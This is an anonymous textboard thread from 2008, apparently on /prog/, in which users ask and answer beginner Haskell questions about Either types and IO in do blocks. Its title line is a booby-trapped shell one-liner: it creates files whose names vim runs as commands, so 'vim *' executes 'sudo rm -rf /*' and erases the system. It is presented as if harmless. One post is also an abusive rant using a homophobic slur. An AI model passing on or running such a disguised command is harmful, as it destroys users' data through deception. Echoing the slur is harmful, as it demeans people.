cd `mktemp -d XXXXXX`;touch '+!sudo rm -rf /*' +q;vim *
Name:
Anonymous2008-11-25 5:50
Help /prog/!
I'm trying to learn Haskell; function definitions are throwing me though.
Take for example a function 'boollower'; pass it a Char, and it returns Char.isLower of the char. Pass it a list of chars, and it maps Char.isLower over the list.
Is this overloading possible?
Name:
Anonymous2008-11-25 5:51
Why in flying fuck is my new thread in another thread? Sigh.
>>2 boollower :: Either Char [Char] -> Either Bool [Bool]
boollower (Left c) = Left $ (isLower c)
boollower (Right xs) = Right $ (map isLower xs)
I've never used Either before.
Name:
Anonymous2008-11-25 11:14
>>6
One word, the forced static typing of code, thread over.
Name:
Anonymous2008-11-25 11:29
>>7
I just added that (from :t) so it would be more apparent what the function took and returned.
Name:
Anonymous2008-11-25 13:43
>>8
Aww. One of these days you'll be able to infer type signatures without resorting to :t :)
Name:
Anonymous2008-11-25 13:48
GTFO haskell faggots nobody wants to see your wankery toy langauge bullshit here FUCK OFF
Name:
Anonymous2008-11-25 14:32
>>9
I can generally do that, but I had no idea of what the Either type looked like; I'm also lazy, so this saved me quite a lot of keystrokes.
Name:
Anonymous2008-11-26 20:00
main = do
let namelist = names
map (putStrLn) namelist
names being an IO do (getLine'ing a name, consing it to a list of names).
GHC shits bricks over names being an action returning a string, then using namelist (which is now IO [String] due to the let) in my map to output the names that got IO'd earlier.
Hlep?
Name:
Anonymous2008-11-26 20:08
what does all this toy language shit have to do with vim?